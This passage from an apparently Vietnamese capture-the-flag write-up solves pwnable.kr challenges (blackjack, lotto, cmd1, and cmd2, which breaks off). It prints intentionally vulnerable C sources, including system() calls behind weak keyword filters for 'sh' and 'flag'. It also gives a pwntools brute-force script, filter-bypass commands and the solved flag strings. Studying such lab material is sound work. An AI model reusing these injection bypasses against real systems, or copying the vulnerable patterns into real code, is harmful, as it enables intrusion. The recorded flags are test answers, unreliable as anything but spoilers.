class="line">             i++; <span class="comment">//While player total and dealer total are less than 21, re-do while loop </span></span><br><span class="line">     &#125; <span class="comment">// End While Loop</span></span><br><span class="line">&#125; <span class="comment">// End Function</span></span><br><span class="line"> </span><br><span class="line"><span class="type">void</span> <span class="title function_">dealer</span><span class="params">()</span> <span class="comment">//Function to play for dealer AI</span></span><br><span class="line">&#123;</span><br><span class="line">     <span class="type">int</span> z;</span><br><span class="line">      </span><br><span class="line">     <span class="keyword">if</span>(dealer_total&lt;<span class="number">17</span>)</span><br><span class="line">     &#123;</span><br><span class="line">      srand((<span class="type">unsigned</span>) time(<span class="literal">NULL</span>) + <span class="number">1</span>); <span class="comment">//Generates random seed for rand() function</span></span><br><span class="line">      z=rand()%<span class="number">13</span>+<span class="number">1</span>;</span><br><span class="line">      <span class="keyword">if</span>(z&lt;=<span class="number">10</span>) <span class="comment">//If random number generated is 10 or less, keep that value</span></span><br><span class="line">      &#123;</span><br><span class="line">         d=z;</span><br><span class="line">          </span><br><span class="line">      &#125;</span><br><span class="line">      </span><br><span class="line">      <span class="keyword">if</span>(z&gt;<span class="number">11</span>) <span class="comment">//If random number generated is more than 11, change value to 10</span></span><br><span class="line">      &#123;</span><br><span class="line">         d=<span class="number">10</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      </span><br><span class="line">      <span class="keyword">if</span>(z==<span class="number">11</span>) <span class="comment">//If random number is 11(Ace), change value to 11 or 1 depending on dealer total</span></span><br><span class="line">      &#123;</span><br><span class="line">         <span class="keyword">if</span>(dealer_total&lt;=<span class="number">10</span>)</span><br><span class="line">         &#123;</span><br><span class="line">             d=<span class="number">11</span>;</span><br><span class="line">         &#125;</span><br><span class="line">          </span><br><span class="line">         <span class="keyword">else</span></span><br><span class="line">         &#123;</span><br><span class="line">             d=<span class="number">1</span>;</span><br><span class="line">         &#125;</span><br><span class="line">      &#125;</span><br><span class="line">     dealer_total = dealer_total + d;</span><br><span class="line">     &#125;</span><br><span class="line">           </span><br><span class="line">     <span class="built_in">printf</span>(<span class="string">&quot;\nThe Dealer Has a Total of %d&quot;</span>, dealer_total); <span class="comment">//Prints dealer total</span></span><br><span class="line">      </span><br><span class="line">&#125; <span class="comment">// End Function </span></span><br><span class="line"> </span><br><span class="line"><span class="type">void</span> <span class="title function_">stay</span><span class="params">()</span> <span class="comment">//Function for when user selects &#x27;Stay&#x27;</span></span><br><span class="line">&#123;</span><br><span class="line">     dealer(); <span class="comment">//If stay selected, dealer continues going</span></span><br><span class="line">     <span class="keyword">if</span>(dealer_total&gt;=<span class="number">17</span>)</span><br><span class="line">     &#123;</span><br><span class="line">      <span class="keyword">if</span>(player_total&gt;=dealer_total) <span class="comment">//If player&#x27;s total is more than dealer&#x27;s total, win</span></span><br><span class="line">      &#123;</span><br><span class="line">         <span class="built_in">printf</span>(<span class="string">&quot;\nUnbelievable! You Win!\n&quot;</span>);</span><br><span class="line">         won = won+<span class="number">1</span>;</span><br><span class="line">         cash = cash+bet;</span><br><span class="line">         <span class="built_in">printf</span>(<span class="string">&quot;\nYou have %d Wins and %d Losses. Awesome!\n&quot;</span>, won, loss);</span><br><span class="line">         dealer_total=<span class="number">0</span>;</span><br><span class="line">         askover();</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">if</span>(player_total&lt;dealer_total) <span class="comment">//If player&#x27;s total is less than dealer&#x27;s total, loss</span></span><br><span class="line">      &#123;</span><br><span class="line">         <span class="built_in">printf</span>(<span class="string">&quot;\nDealer Has the Better Hand. You Lose.\n&quot;</span>);</span><br><span class="line">         loss = loss+<span class="number">1</span>;</span><br><span class="line">         cash = cash - bet;</span><br><span class="line">         <span class="built_in">printf</span>(<span class="string">&quot;\nYou have %d Wins and %d Losses. Awesome!\n&quot;</span>, won, loss);</span><br><span class="line">         dealer_total=<span class="number">0</span>;</span><br><span class="line">         askover();</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">if</span>(dealer_total&gt;<span class="number">21</span>) <span class="comment">//If dealer&#x27;s total is more than 21, win</span></span><br><span class="line">      &#123;</span><br><span class="line">         <span class="built_in">printf</span>(<span class="string">&quot;\nUnbelievable! You Win!\n&quot;</span>);</span><br><span class="line">         won = won+<span class="number">1</span>;</span><br><span class="line">         cash = cash+bet;</span><br><span class="line">         <span class="built_in">printf</span>(<span class="string">&quot;\nYou have %d Wins and %d Losses. Awesome!\n&quot;</span>, won, loss);</span><br><span class="line">         dealer_total=<span class="number">0</span>;</span><br><span class="line">         askover();</span><br><span class="line">      &#125;</span><br><span class="line">     &#125;</span><br><span class="line">     <span class="keyword">else</span></span><br><span class="line">     &#123;</span><br><span class="line">         stay();</span><br><span class="line">     &#125;</span><br><span class="line">      </span><br><span class="line">&#125; <span class="comment">// End Function</span></span><br><span class="line"> </span><br><span class="line"><span class="type">void</span> <span class="title function_">cash_test</span><span class="params">()</span> <span class="comment">//Test for if user has cash remaining in purse</span></span><br><span class="line">&#123;</span><br><span class="line">     <span class="keyword">if</span> (cash &lt;= <span class="number">0</span>) <span class="comment">//Once user has zero remaining cash, game ends and prompts user to play again</span></span><br><span class="line">     &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;You Are Bankrupt. Game Over&quot;</span>);</span><br><span class="line">        cash = <span class="number">500</span>;</span><br><span class="line">        askover();</span><br><span class="line">     &#125;</span><br><span class="line">     <span class="keyword">if</span> (cash &gt; <span class="number">1000000</span>)&#123;</span><br><span class="line">     FILE* fp=fopen(<span class="string">&quot;flag&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line"><span class="type">char</span> buf[<span class="number">100</span>];</span><br><span class="line"><span class="built_in">memset</span>(buf, <span class="number">0</span>, <span class="number">100</span>);</span><br><span class="line">fread(buf, <span class="number">1</span>, <span class="number">100</span>, fp);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;%s\n&quot;</span>, buf);</span><br><span class="line">fclose(fp);</span><br><span class="line">     &#125;</span><br><span class="line">&#125; <span class="comment">// End Function</span></span><br><span class="line"> </span><br><span class="line"><span class="type">int</span> <span class="title function_">betting</span><span class="params">()</span> <span class="comment">//Asks user amount to bet</span></span><br><span class="line">&#123;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">&quot;\n\nEnter Bet: $&quot;</span>);</span><br><span class="line"> <span class="built_in">scanf</span>(<span class="string">&quot;%d&quot;</span>, &amp;bet);</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span> (bet &gt; cash) <span class="comment">//If player tries to bet more money than player has</span></span><br><span class="line"> &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;\nYou cannot bet more money than you have.&quot;</span>);</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;\nEnter Bet: &quot;</span>);</span><br><span class="line">        <span class="built_in">scanf</span>(<span class="string">&quot;%d&quot;</span>, &amp;bet);</span><br><span class="line">        <span class="keyword">return</span> bet;</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">return</span> bet;</span><br><span class="line">&#125; <span class="comment">// End Function</span></span><br><span class="line"> </span><br><span class="line"><span class="type">void</span> <span class="title function_">askover</span><span class="params">()</span> <span class="comment">// Function for asking player if they want to play again</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">char</span> choice1;</span><br><span class="line">         </span><br><span class="line">     <span class="built_in">printf</span>(<span class="string">&quot;\nWould You Like To Play Again?&quot;</span>);</span><br><span class="line">     <span class="built_in">printf</span>(<span class="string">&quot;\nPlease Enter Y for Yes or N for No\n&quot;</span>);</span><br><span class="line">     <span class="built_in">scanf</span>(<span class="string">&quot;\n%c&quot;</span>,&amp;choice1);</span><br><span class="line"> </span><br><span class="line">    <span class="keyword">while</span>((choice1!=<span class="string">&#x27;Y&#x27;</span>) &amp;&amp; (choice1!=<span class="string">&#x27;y&#x27;</span>) &amp;&amp; (choice1!=<span class="string">&#x27;N&#x27;</span>) &amp;&amp; (choice1!=<span class="string">&#x27;n&#x27;</span>)) <span class="comment">// If invalid choice entered</span></span><br><span class="line">    &#123;                                                                           </span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Incorrect Choice. Please Enter Y for Yes or N for No.\n&quot;</span>);</span><br><span class="line">        <span class="built_in">scanf</span>(<span class="string">&quot;%c&quot;</span>,&amp;choice1);</span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line">    <span class="keyword">if</span>((choice1 == <span class="string">&#x27;Y&#x27;</span>) || (choice1 == <span class="string">&#x27;y&#x27;</span>)) <span class="comment">// If yes, continue.</span></span><br><span class="line">    &#123; </span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">&quot;\033[2J\033[1;1H&quot;</span>);</span><br><span class="line">            play();</span><br><span class="line">    &#125;</span><br><span class="line">  </span><br><span class="line">    <span class="keyword">else</span> <span class="keyword">if</span>((choice1 == <span class="string">&#x27;N&#x27;</span>) || (choice1 == <span class="string">&#x27;n&#x27;</span>)) <span class="comment">// If no, exit program</span></span><br><span class="line">    &#123;</span><br><span class="line">        fileresults();</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;\nBYE!!!!\n\n&quot;</span>);</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;\033[2J\033[1;1H&quot;</span>);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125; <span class="comment">// End function</span></span><br><span class="line"> </span><br><span class="line"><span class="type">void</span> <span class="title function_">fileresults</span><span class="params">()</span> <span class="comment">//Prints results into Blackjack.txt file in program directory</span></span><br><span class="line">&#123;</span><br><span class="line">     <span class="keyword">return</span>;</span><br><span class="line">&#125; <span class="comment">// End Function</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="Solution-1"><a href="#Solution-1" class="headerlink" title="Solution"></a>Solution</h2><p>Bài này mình giải hơn mất não, chỉ cần biết là nó sẽ luôn thua nên tiền cược mình nhồi số âm vào và nó vô tình dính lỗi <code>integer overflow</code> nên tiền nó tăng lên. Thế là lấy được flag.</p><h1 id="lotto"><a href="#lotto" class="headerlink" title="lotto"></a>lotto</h1><h2 id="Description-2"><a href="#Description-2" class="headerlink" title="Description"></a>Description</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Mommy! I made a lotto program <span class="keyword">for</span> my homework.</span><br><span class="line"><span class="keyword">do</span> you want to play?</span><br><span class="line"></span><br><span class="line">ssh lotto@pwnable.kr -p2222 (pw:guest)</span><br></pre></td></tr></table></figure><h2 id="Source-2"><a href="#Source-2" class="headerlink" title="Source"></a>Source</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;fcntl.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">unsigned</span> <span class="type">char</span> submit[<span class="number">6</span>];</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">play</span><span class="params">()</span>&#123;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> i;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Submit your 6 lotto bytes : &quot;</span>);</span><br><span class="line">fflush(<span class="built_in">stdout</span>);</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> r;</span><br><span class="line">r = read(<span class="number">0</span>, submit, <span class="number">6</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Lotto Start!\n&quot;</span>);</span><br><span class="line"><span class="comment">//sleep(1);</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// generate lotto numbers</span></span><br><span class="line"><span class="type">int</span> fd = open(<span class="string">&quot;/dev/urandom&quot;</span>, O_RDONLY);</span><br><span class="line"><span class="keyword">if</span>(fd==<span class="number">-1</span>)&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;error. tell admin\n&quot;</span>);</span><br><span class="line"><span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">unsigned</span> <span class="type">char</span> lotto[<span class="number">6</span>];</span><br><span class="line"><span class="keyword">if</span>(read(fd, lotto, <span class="number">6</span>) != <span class="number">6</span>)&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;error2. tell admin\n&quot;</span>);</span><br><span class="line"><span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">for</span>(i=<span class="number">0</span>; i&lt;<span class="number">6</span>; i++)&#123;</span><br><span class="line">lotto[i] = (lotto[i] % <span class="number">45</span>) + <span class="number">1</span>;<span class="comment">// 1 ~ 45</span></span><br><span class="line">&#125;</span><br><span class="line">close(fd);</span><br><span class="line"></span><br><span class="line"><span class="comment">// calculate lotto score</span></span><br><span class="line"><span class="type">int</span> match = <span class="number">0</span>, j = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span>(i=<span class="number">0</span>; i&lt;<span class="number">6</span>; i++)&#123;</span><br><span class="line"><span class="keyword">for</span>(j=<span class="number">0</span>; j&lt;<span class="number">6</span>; j++)&#123;</span><br><span class="line"><span class="keyword">if</span>(lotto[i] == submit[j])&#123;</span><br><span class="line">match++;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// win!</span></span><br><span class="line"><span class="keyword">if</span>(match == <span class="number">6</span>)&#123;</span><br><span class="line">setregid(getegid(), getegid());</span><br><span class="line">system(<span class="string">&quot;/bin/cat flag&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span>&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;bad luck...\n&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">help</span><span class="params">()</span>&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;- nLotto Rule -\n&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;nlotto is consisted with 6 random natural numbers less than 46\n&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;your goal is to match lotto numbers as many as you can\n&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;if you win lottery for *1st place*, you will get reward\n&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;for more details, follow the link below\n&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;mathematical chance to win this game is known to be 1/8145060.\n&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span>* argv[])</span>&#123;</span><br><span class="line"></span><br><span class="line"><span class="comment">// menu</span></span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> menu;</span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span>(<span class="number">1</span>)&#123;</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;- Select Menu -\n&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;1. Play Lotto\n&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;2. Help\n&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;3. Exit\n&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">scanf</span>(<span class="string">&quot;%d&quot;</span>, &amp;menu);</span><br><span class="line"></span><br><span class="line"><span class="keyword">switch</span>(menu)&#123;</span><br><span class="line"><span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line">play();</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line"><span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line">help();</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line"><span class="keyword">case</span> <span class="number">3</span>:</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;bye\n&quot;</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"><span class="keyword">default</span>:</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;invalid menu\n&quot;</span>);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="Solution-2"><a href="#Solution-2" class="headerlink" title="Solution"></a>Solution</h2><p>Cái bug ở bài này đó là logic bị sai khi nó đem so toàn bộ các byte của chuỗi vừa được lấy random đem so với toàn bộ byte của chuỗi ta nhập vào, ví dụ <code>rand=&#39;123456&#39;</code>và <code>input=’111111’</code> thì với input là 6 số giống nhau, qua vòng lặp trên biến <code>match</code> kiểu gì cũng tăng lên được, nên ta sẽ bruteforce với hi vọng sẽ có 1 byte nào đó sẽ match với 1 byte trong <code>rand</code>, khoảng byte được rand cũng không nhiều vì nó sẽ từ 1 → 45.</p><h2 id="Payload-1"><a href="#Payload-1" class="headerlink" title="Payload"></a>Payload</h2><p>payload là mình solve local để chắc chắn idea đúng. khi đó thì mình làm thủ công trên server bằng cách spam chuỗi <code>‘!!!!!!’</code> vào input, vài lần là được.</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) &lt;= <span class="number">2</span>:</span><br><span class="line">    p = process(<span class="string">&#x27;./&#x27;</span> + sys.argv[<span class="number">1</span>])</span><br><span class="line">    e = ELF(<span class="string">&#x27;./&#x27;</span> + sys.argv[<span class="number">1</span>], checksec=<span class="literal">False</span>)</span><br><span class="line"></span><br><span class="line">    gdb.attach(p,</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line">)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    remote_addr = sys.argv[<span class="number">1</span>]</span><br><span class="line">    remote_port = sys.argv[<span class="number">2</span>]</span><br><span class="line">    p = remote(remote_addr, <span class="built_in">int</span>(remote_port))</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">&#x27;DEBUG&#x27;</span></span><br><span class="line">context.arch = <span class="string">&#x27;amd64&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span>(<span class="number">1</span>):</span><br><span class="line">    payload = <span class="string">b&#x27;\x01&#x27;</span>*<span class="number">6</span></span><br><span class="line">    p.sendlineafter(<span class="string">b&#x27;3. Exit&#x27;</span>, <span class="string">b&#x27;1&#x27;</span>)</span><br><span class="line">    p.sendlineafter(<span class="string">b&#x27;Submit your 6 lotto bytes :&#x27;</span>,payload)</span><br><span class="line">p.interactive()</span><br><span class="line"></span><br><span class="line"><span class="comment"># !!!!!</span></span><br><span class="line"><span class="comment"># Sorry_mom_1_Forgot_to_check_duplicates</span></span><br></pre></td></tr></table></figure><h1 id="cmd1"><a href="#cmd1" class="headerlink" title="cmd1"></a>cmd1</h1><h2 id="Description-3"><a href="#Description-3" class="headerlink" title="Description"></a>Description</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Mommy! what is PATH environment in Linux?</span><br><span class="line"></span><br><span class="line">ssh cmd1@pwnable.kr -p2222 (pw:guest)</span><br></pre></td></tr></table></figure><h2 id="Source-3"><a href="#Source-3" class="headerlink" title="Source"></a>Source</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">filter</span><span class="params">(<span class="type">char</span> *cmd)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="type">int</span> r = <span class="number">0</span>;</span><br><span class="line">r += <span class="built_in">strstr</span>(cmd, <span class="string">&quot;flag&quot;</span>) != <span class="number">0</span>;</span><br><span class="line">r += <span class="built_in">strstr</span>(cmd, <span class="string">&quot;sh&quot;</span>) != <span class="number">0</span>;</span><br><span class="line">r += <span class="built_in">strstr</span>(cmd, <span class="string">&quot;tmp&quot;</span>) != <span class="number">0</span>;</span><br><span class="line"><span class="keyword">return</span> r;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span> *argv[], <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">putenv(<span class="string">&quot;PATH=/thankyouverymuch&quot;</span>);</span><br><span class="line"><span class="keyword">if</span> (filter(argv[<span class="number">1</span>]))</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">setregid(getegid(), getegid());</span><br><span class="line">system(argv[<span class="number">1</span>]);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="Solution-3"><a href="#Solution-3" class="headerlink" title="Solution"></a>Solution</h2><p>Cách vận hành của chương trình là set biến môi trường thành 1 đường dẫn không tồn tại là <code>/thankyouverymuch</code> sau đó filter <code>argv[1]</code> và thực thi. Câu lệnh <code>putenv</code>. Mục tiêu ta là bypass filter và path môi trường. Thì với một lệnh được thực thi 1 cách bình thường thì nó sẽ tự động lấy PATH môi trường để tìm nơi chứa câu lệnh đó. Ví dụ với <code>ls</code> sẽ thành <code>/usr/bin/ls</code>. Muốn biết đường dẫn của câu lệnh ở đâu trên hệ thống thì chỉ cần dùng lệnh <code>which</code> :</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">cmd1@ubuntu:~$ which ls</span><br><span class="line">/usr/bin/ls</span><br></pre></td></tr></table></figure><p>Vậy thì với input đầu vào ta chỉ cần dùng đường dẫn tuyệt đối thì hệ thống sẽ gọi trực tiếp tới đó và tránh được PATH cố định đã bị cố định.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">cmd1@ubuntu:~$ ./cmd1 ls</span><br><span class="line">sh: <span class="number">1</span>: ls: not found</span><br><span class="line">cmd1@ubuntu:~$ ./cmd1 /usr/bin/ls</span><br><span class="line">cmd1  cmd1.c  flag</span><br></pre></td></tr></table></figure><p>Tới tránh filter câu lệnh có <code>flag</code> thì ta chỉ cần dùng wildcard * là được. Mình thì cứ giã <code>cat *</code> là đọc full :))) Còn không thì chuyên nghiệp hơn thì như dưới :</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">cmd1@ubuntu:~$ ./cmd1 <span class="string">&quot;/usr/bin/cat *fl*&quot;</span></span><br><span class="line">PATH_environment?_Now_I_really_g3t_it,_mommy!</span><br></pre></td></tr></table></figure><h1 id="cmd2"><a href="#cmd2" class="headerlink" title="cmd2"></a>cmd2</h1><h2 id="Description-4"><a href="#Description-4" class="headerlink" title="Description"></a>Description</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Daddy bought me a system command shell.</span><br><span class="line">but he put some filters to prevent me from playing with it without his permission...</span><br><span class="line">but I wanna play anytime I want!</span><br><span class="line"></span><br><span class="line">ssh cmd2@pwnable.kr -p2222 (pw:flag of cmd1)</span><br></pre></td></tr></table></figure><h2 id="Source-4"><a href="#Source-4" class="headerlink" title="Source"></a>Source</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">filter</span><span class="params">(<span class="type">char</span>* cmd)</span>&#123;</span><br><span class="line"><span class="type">int</span> r=<span class="number">0</span>;</span><br><span class="line">r += <span class="built_in">strstr</span>(cmd, <span class="string">&quot;=&quot;</span>)!=<span class="number">0</span>;</span><br><span class="line">r += <span class="built_in">strstr</span>(cmd, <span class="string">&quot;PATH&quot;</span>)!=<span class="number">0</span>;</span><br><span class="line">r += <span class="built_in">strstr</span>(cmd, <span class="string">&quot;export&quot;</span>)!=<span class="number">0</span>;</span><br><span class="line">r += <span 